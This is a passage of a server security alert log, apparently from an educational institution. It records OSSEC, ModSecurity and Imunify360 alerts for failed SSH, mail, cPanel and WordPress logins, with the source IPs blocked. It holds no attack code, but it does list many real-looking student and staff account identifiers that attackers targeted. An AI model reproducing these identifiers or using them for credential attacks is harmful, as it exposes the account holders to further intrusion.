Jan 29 23:01:11 ait sshd[544869]: pam_imunify(sshd:auth): [IM360_RBL] The IP 104.236.253.20 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 104.236.253.20
description:
Jan 29 23:01:11 ait sshd[544869]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=104.236.253.20


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.23.178.20
description:
Jan 29 23:01:49 ait sshd[545119]: pam_imunify(sshd:auth): [IM360_RBL] The IP 64.23.178.20 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 121.229.10.138
description:
Jan 29 23:02:15 ait sshd[545231]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=121.229.10.138


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.236.253.20
description:
Jan 29 23:02:43 ait sshd[545647]: pam_imunify(sshd:auth): [IM360_RBL] The IP 104.236.253.20 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 104.236.253.20
description:
Jan 29 23:02:43 ait sshd[545647]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=104.236.253.20


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 104.236.253.20
description:
Jan 29 23:02:45 ait sshd[545647]: Failed password for invalid user debian from 104.236.253.20 port 48372 ssh2


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.20.42.169
description:
[2025-01-29 23:01:56 +0100] info [webmaild] 187.20.42.169 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.229.10.138
description:
Jan 29 23:02:15 ait sshd[545231]: pam_imunify(sshd:auth): [IM360_RBL] The IP 121.229.10.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.93.12.184
description:
2025-01-29 23:03:26 dovecot_plain authenticator failed for ([124.93.12.184]) [124.93.12.184]:31871: 535 Incorrect authentication data (set_id=eng21a00038y6)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 165.227.209.106
domain: lms.aitsmartschool.com
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:23-03.165.227.209.106


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.224.164.194
description:
Jan 29 23:03:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.224.164.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.40
description:
2025-01-29 23:03:38 dovecot_plain authenticator failed for (m121-202-154-40.smartone.com) [121.202.154.40]:50864: 535 Incorrect authentication data (set_id=eng27b00340y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.49.179.157
description:
Jan 29 23:03:38 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.49.179.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.158.171.3
description:
2025-01-29 23:03:50 dovecot_plain authenticator failed for ([61.158.171.3]) [61.158.171.3]:55557: 535 Incorrect authentication data (set_id=eng16b00239y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.153.140.202
description:
Jan 29 23:02:55 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.153.140.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 23:03:15 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.106.196.150
description:
2025-01-29 23:03:38 dovecot_plain authenticator failed for ([128.106.196.150]) [128.106.196.150]:13426: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.48.233.190
description:
2025-01-29 23:03:43 dovecot_plain authenticator failed for ([144.48.233.190]) [144.48.233.190]:55920: 535 Incorrect authentication data (set_id=eng22a00061y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.178.175
description:
2025-01-29 23:03:52 dovecot_plain authenticator failed for 94-255-178-175.cust.bredband2.com [94.255.178.175]:43166: 535 Incorrect authentication data (set_id=eng20a00098y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.207.60
description:
2025-01-29 23:03:42 dovecot_plain authenticator failed for ([121.202.207.60]) [121.202.207.60]:9583: 535 Incorrect authentication data (set_id=eng19a00060y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
description:
2025-01-29 23:03:42 dovecot_plain authenticator failed for ([125.139.124.120]) [125.139.124.120]:34434: 535 Incorrect authentication data (set_id=eng20a00098y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.161.52.149
description:
2025-01-29 23:03:47 dovecot_plain authenticator failed for ([220.161.52.149]) [220.161.52.149]:55708: 535 Incorrect authentication data (set_id=eng09b99891@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.154.40
description:
Jan 29 23:03:36 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.154.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.207.60
description:
Jan 29 23:03:40 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.207.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.161.52.149
description:
Jan 29 23:03:45 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.161.52.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.69.30.93
description:
Jan 29 23:03:49 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.69.30.93 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.0.111.113
description:
2025-01-29 23:03:54 dovecot_plain authenticator failed for ([221.0.111.113]) [221.0.111.113]:59696: 535 Incorrect authentication data (set_id=eng19a00005y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.153.182.9
description:
[2025-01-29 23:02:56 +0100] info [webmaild] 45.153.182.9 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.178.158.132
description:
Jan 29 23:03:38 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.178.158.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.158.171.3
description:
Jan 29 23:03:48 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.158.171.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.154.10
description:
Jan 29 23:03:53 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.154.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.157.246.26
description:
Jan 29 23:03:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.157.246.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.168.86.6
description:
Jan 29 23:03:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.168.86.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.139.124.120
description:
Jan 29 23:03:40 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.139.124.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.77.172.143
description:
Jan 29 23:03:40 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.77.172.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.48.233.190
description:
Jan 29 23:03:41 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.48.233.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.241.188
description:
2025-01-29 23:03:48 dovecot_plain authenticator failed for ([85.105.241.188]) [85.105.241.188]:42348: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.117.96.174
description:
Jan 29 23:03:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.117.96.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.49.179.157
description:
2025-01-29 23:03:40 dovecot_plain authenticator failed for syn-045-049-179-157.res.spectrum.com [45.49.179.157]:49951: 535 Incorrect authentication data (set_id=eng19a00089y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 152.202.239.237
description:
[2025-01-29 23:03:07 +0100] info [webmaild] 152.202.239.237 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.105.196.214
description:
2025-01-29 23:03:16 dovecot_plain authenticator failed for syn-208-105-196-214.biz.spectrum.com (rrcs-208-105-196-214.nys.biz.rr.com) [208.105.196.214]:37317: 535 Incorrect authentication data (set_id=eng21a00038y6@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.178.158.132
description:
2025-01-29 23:03:40 dovecot_plain authenticator failed for ([103.178.158.133]) [103.178.158.132]:41346: 535 Incorrect authentication data (set_id=eng19a00005y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.168.86.6
description:
2025-01-29 23:03:41 dovecot_plain authenticator failed for ([188.168.86.6]) [188.168.86.6]:55708: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.224.164.194
description:
2025-01-29 23:03:41 dovecot_plain authenticator failed for ([122.224.164.194]) [122.224.164.194]:44002: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.247.245.61
description:
2025-01-29 23:03:50 dovecot_plain authenticator failed for ([1.247.245.61]) [1.247.245.61]:48449: 535 Incorrect authentication data (set_id=eng27b00340y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.255.178.175
description:
Jan 29 23:03:50 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.255.178.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.143.241.150
description:
Jan 29 23:03:51 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.143.241.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.153.140.202
description:
2025-01-29 23:02:57 dovecot_plain authenticator failed for (hostglobal.plus) [78.153.140.202]:52084: 535 Incorrect authentication data (set_id=eng22b00146y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 208.105.196.214
description:
Jan 29 23:03:14 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 208.105.196.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.106.196.150
description:
Jan 29 23:03:36 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.106.196.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.0.19.108
description:
Jan 29 23:03:38 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.0.19.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.105.241.188
description:
Jan 29 23:03:46 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.105.241.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.0.111.113
description:
Jan 29 23:03:52 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.0.111.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.93.12.184
description:
Jan 29 23:03:24 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.93.12.184 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 156.205.61.95
description:
[2025-01-29 23:03:24 +0100] info [webmaild] 156.205.61.95 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.140.162.227
description:
Jan 29 23:03:40 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.140.162.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
description:
2025-01-29 23:03:41 dovecot_plain authenticator failed for ([190.117.96.174]) [190.117.96.174]:56844: 535 Incorrect authentication data (set_id=eng18b00179y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.157.246.26
description:
2025-01-29 23:03:41 dovecot_plain authenticator failed for ([117.157.246.26]) [117.157.246.26]:52224: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.77.172.143
description:
2025-01-29 23:03:42 dovecot_plain authenticator failed for ([119.77.172.143]) [119.77.172.143]:1764: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.171.20.211
description:
Jan 29 23:03:53 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.171.20.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.0.19.108
description:
2025-01-29 23:03:40 dovecot_plain authenticator failed for ([149.0.19.108]) [149.0.19.108]:40592: 535 Incorrect authentication data (set_id=eng17b00236y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.140.162.227
description:
2025-01-29 23:03:42 dovecot_plain authenticator failed for broadband-178-140-162-227.ip.moscow.rt.ru [178.140.162.227]:49110: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.247.245.61
description:
Jan 29 23:03:48 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.247.245.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.69.30.93
description:
2025-01-29 23:03:51 dovecot_plain authenticator failed for ([180.69.30.93]) [180.69.30.93]:57532: 535 Incorrect authentication data (set_id=eng20a00052y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.143.241.150
description:
2025-01-29 23:03:53 dovecot_plain authenticator failed for ([61.143.241.150]) [61.143.241.150]:43133: 535 Incorrect authentication data (set_id=eng22a00061y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.186.220.42
description:
2025-01-29 23:03:57 dovecot_plain authenticator failed for ([211.186.220.42]) [211.186.220.42]:51702: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.124.241.138
description:
Jan 29 23:03:58 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.124.241.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.141.229.86
description:
Jan 29 23:03:59 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.141.229.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.185.229.127
description:
2025-01-29 23:04:03 dovecot_plain authenticator failed for ([109.185.229.127]) [109.185.229.127]:3676: 535 Incorrect authentication data (set_id=eng17b00236y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.213.84
description:
2025-01-29 23:04:09 dovecot_plain authenticator failed for ([125.143.213.84]) [125.143.213.84]:40838: 535 Incorrect authentication data (set_id=eng22a00061y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 23:04:35 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.23.178.20
description:
Jan 29 23:04:11 ait sshd[546237]: pam_imunify(sshd:auth): [IM360_RBL] The IP 64.23.178.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.117.0.253
description:
Jan 29 23:03:54 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.117.0.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.171.20.211
description:
2025-01-29 23:03:55 dovecot_plain authenticator failed for (106.51.79.73.actcorp.in) [122.171.20.211]:30040: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.166.140.172
description:
Jan 29 23:03:58 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 198.166.140.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.81.151.97
description:
Jan 29 23:03:58 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.81.151.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.11.160.60
description:
Jan 29 23:04:02 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.11.160.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.143.213.84
description:
Jan 29 23:04:07 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.143.213.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.36.151.150
description:
2025-01-29 23:04:09 dovecot_plain authenticator failed for (vipturbo.com.br) [191.36.151.150]:49597: 535 Incorrect authentication data (set_id=eng19a00089y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 64.23.178.20
description:
Jan 29 23:04:11 ait sshd[546237]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=64.23.178.20


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.0.19.108
description:
2025-01-29 23:03:55 dovecot_plain authenticator failed for ([149.0.19.108]) [149.0.19.108]:41774: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.117.0.253
description:
2025-01-29 23:03:56 dovecot_plain authenticator failed for ([222.117.0.253]) [222.117.0.253]:55094: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
description:
2025-01-29 23:04:03 dovecot_plain authenticator failed for ([182.76.71.82]) [182.76.71.82]:44958: 535 Incorrect authentication data (set_id=eng22a00061y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.11.160.60
description:
2025-01-29 23:04:04 dovecot_plain authenticator failed for ([121.11.160.60]) [121.11.160.60]:50740: 535 Incorrect authentication data (set_id=eng16b00239y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
description:
2025-01-29 23:04:07 dovecot_plain authenticator failed for 89-253-90-113.customers.ownit.se [89.253.90.113]:55470: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.36.151.150
description:
Jan 29 23:04:07 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.36.151.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.228.195.251
description:
Jan 29 23:04:08 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.228.195.251 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.102.247.179
description:
[2025-01-29 23:04:28 +0100] info [webmaild] 191.102.247.179 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.229.10.138
description:
Jan 29 23:04:50 ait sshd[546580]: pam_imunify(sshd:auth): [IM360_RBL] The IP 121.229.10.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.106.154.10
description:
2025-01-29 23:03:55 dovecot_plain authenticator failed for ([103.106.154.10]) [103.106.154.10]:57821: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.43.139.142
description:
Jan 29 23:03:57 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.43.139.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.166.140.172
description:
2025-01-29 23:04:00 dovecot_plain authenticator failed for h198-166-140-172.ptr.cidc.telus.com [198.166.140.172]:14093: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.186.220.42
description:
Jan 29 23:03:55 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.186.220.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.76.71.82
description:
Jan 29 23:04:01 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.76.71.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.141.229.86
description:
2025-01-29 23:04:01 dovecot_plain authenticator failed for ([31.141.229.86]) [31.141.229.86]:54253: 535 Incorrect authentication data (set_id=eng20a00052y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.225.55.98
description:
Jan 29 23:04:05 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.225.55.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.225.55.98
description:
2025-01-29 23:04:07 dovecot_plain authenticator failed for ([122.225.55.98]) [122.225.55.98]:45837: 535 Incorrect authentication data (set_id=eng19a00060y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.185.229.127
description:
Jan 29 23:04:01 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.185.229.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.253.90.113
description:
Jan 29 23:04:05 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.253.90.113 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 121.229.10.138
description:
Jan 29 23:04:50 ait sshd[546580]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=121.229.10.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.81.151.97
description:
2025-01-29 23:04:00 dovecot_plain authenticator failed for ([61.81.151.97]) [61.81.151.97]:57100: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.43.139.142
description:
2025-01-29 23:03:59 dovecot_plain authenticator failed for ([211.43.139.142]) [211.43.139.142]:50822: 535 Incorrect authentication data (set_id=eng18b00179y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.124.241.138
description:
2025-01-29 23:04:00 dovecot_plain authenticator failed for ([116.124.241.138]) [116.124.241.138]:45096: 535 Incorrect authentication data (set_id=eng09b99891)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.228.195.251
description:
2025-01-29 23:04:10 dovecot_plain authenticator failed for ([116.228.195.251]) [116.228.195.251]:29921: 535 Incorrect authentication data (set_id=eng18b00217y)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 121.229.10.138
description:
Jan 29 23:04:54 ait sshd[546580]: Disconnected from invalid user server 121.229.10.138 port 44843 [preauth]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.174.244.81
description:
[2025-01-29 23:05:09 +0100] info [webmaild] 45.174.244.81 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.172.213.166
description:
Jan 29 23:06:31 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.172.213.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
description:
2025-01-29 23:06:33 dovecot_login authenticator failed for ([127.0.0.1]) [203.172.213.166]:38051: 535 Incorrect authentication data (set_id=ads17b00155y@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 185.116.195.203
domain: admissions.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:23-06.185.116.195.203


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.67.39.102
description:
Jan 29 23:06:49 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.67.39.102 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.130.70.80
description:
2025-01-29 23:06:49 dovecot_plain authenticator failed for mobile-166-130-70-80.mycingular.net [166.130.70.80]:38983: 535 Incorrect authentication data (set_id=aabdulrahaman@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.217.90.80
description:
[2025-01-29 23:06:02 +0100] info [webmaild] 196.217.90.80 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.127.249.104
description:
[2025-01-29 23:06:45 +0100] info [webmaild] 179.127.249.104 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.130.70.80
description:
Jan 29 23:06:47 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.130.70.80 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.67.39.102
description:
2025-01-29 23:06:51 dovecot_login authenticator failed for ([127.0.0.1]) [178.67.39.102]:50973: 535 Incorrect authentication data (set_id=ads17b00155y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 188.0.169.155
description:
[2025-01-29 23:07:30 +0100] info [webmaild] 188.0.169.155 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 206.183.128.159
domain: admissions.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:23-06.206.183.128.159


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
